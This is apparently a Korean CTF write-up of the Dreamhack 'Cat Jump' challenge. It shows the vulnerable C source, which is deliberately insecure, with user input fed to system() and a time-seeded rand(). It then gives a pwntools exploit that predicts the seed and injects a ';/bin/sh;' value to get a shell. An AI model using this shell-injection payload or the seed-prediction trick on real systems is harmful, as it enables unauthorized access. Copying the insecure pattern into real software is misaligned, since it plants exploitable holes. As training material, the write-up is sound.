dreamhack - Cat Jump writeup
[dreamhack] Cat Jump writeup
1. 문제

Cat Jump
고양이가 방해물을 피해 옥상으로 올라갈 수 있도록 도와주세요!
플래그 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define CAT_JUMP_GOAL 37
#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3
#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT 0
#define OBSTACLE_RIGHT 1
void Init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
void PrintBanner() {
puts(" .-.\n" \
" \\ \\\n" \
" \\ \\\n" \
" | |\n" \
" | |\n" \
" /\\---/\\ _,---._ | |\n" \
" /^ ^ \\,' `. ;\n" \
" ( O O ) ;\n" \
" `.=o=__,' \\\n" \
" / _,--.__ \\\n" \
" / _ ) ,' `-. `-. \\\n" \
" / ,' / ,' \\ \\ \\ \\\n" \
" / / / ,' (,_)(,_)\n" \
" (,; (,,) jrei\n");
}
char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";
void StartGame() {
char cat_name[32];
char catnip;
char cmd[64];
char input;
char obstacle;
double p;
unsigned char jump_cnt;
srand(time(NULL));
catnip = 0;
jump_cnt = 0;
puts("let the cat reach the roof! 🐈");
sleep(1);
do {
// set obstacle with a specific probability.
obstacle = rand() % 2;
// get input.
do {
printf("left jump='h', right jump='j': ");
scanf("%c%*c", &input);
} while (input != 'h' && input != 'l');
// jump.
if (catnip) {
catnip--;
jump_cnt++;
puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
} else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
(input == 'l' && obstacle != OBSTACLE_RIGHT)) {
jump_cnt++;
puts("the cat jumped successfully! 🐱");
} else {
puts("the cat got stuck by obstacle! 😿 🪨 ");
return;
}
// eat some catnip with a specific probability.
p = (double)rand() / RAND_MAX;
if (p < CATNIP_PROBABILITY) {
puts("the cat found and ate some catnip! 😽");
catnip = CATNIP_INVINCIBLE_TIMES;
}
} while (jump_cnt < CAT_JUMP_GOAL);
puts("your cat has reached the roof!\n");
printf("let people know your cat's name 😼: ");
scanf("%31s", cat_name);
snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
system(cmd);
printf("goodjob! ");
system("cat /tmp/cat_db");
}
int main(void) {
Init();
PrintBanner();
StartGame();
return 0;
}
‘h’ 또는 ‘l’을 입력해서 장애물을 피해 고양이를 점프시켜서 37번 성공해야한다. 그러고 나면 cat_name
에 입력된 내용이 cmd
변수에 들어가면서 쉘을 실행시킬 수 있다.
37번을 요행으로 찍기에는 확률이 1/2^37 밖에 안되므로… 거의 불가능하다고 봐야하고 srand()
함수에 취약점이 있다.
srand(time(NULL));
이렇게 할 경우, 만약 타임스탬프가 똑같은 값이면 시드가 같아지므로 그 다음에 수행되는 rand()
함수의 값의 순서가 똑같이 나온다. 즉, 만약 시드가 똑같은 상태에서 3번의 rand()
함수를 따로 실행하면 양쪽 3번의 결과값이 똑같다는 것이다.
그렇다면 실행되는 타임스탬프에 맞춰서 우리도 srand()
함수를 실행해서 시드를 맞춰주고, 그 다음에 실행되는 rand()
의 결과를 보고 점프를 하면 성공할 수 있다.
python
에서 C
라이브러리를 실행할 수 있게 해주는 ctypes
라이브러리가 있기 때문에 이걸 이용했다.
간단한 exploit이다.
from pwn import *
import time
import ctypes, os
#p = process("./cat_jump")
p = remote("host8.dreamhack.games", 11275)
libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.srand.restype = None
libc.rand.restype = ctypes.c_int
libc.time.argtypes = [ctypes.POINTER(ctypes.c_long)] # 또는 ctypes.c_void_p
libc.time.restype = ctypes.c_long
libc.srand(libc.time(None))
for i in range(37):
print(i+1)
tmp_r = libc.rand()
print(tmp_r)
if tmp_r % 2 == 1:
print(f"{tmp_r} is odd!")
p.sendlineafter(b": ", b"h")
else:
print(f"{tmp_r} is even!")
p.sendlineafter(b": ", b"l")
tmp_r = libc.rand()
print(p.recv(30))
p.sendlineafter(b": ", b"aaaa\";/bin/sh;echo\"")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Cat_jump/deploy$ python3 e_cat_jump.py
[+] Starting local process './cat_jump': pid 2787490
[*] Switching to interactive mode
aaaa
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
cat_name
에 입력할 때 잘 입력해야 system()
함수를 거칠 때 쉘을 실행할 수 있다.
해결~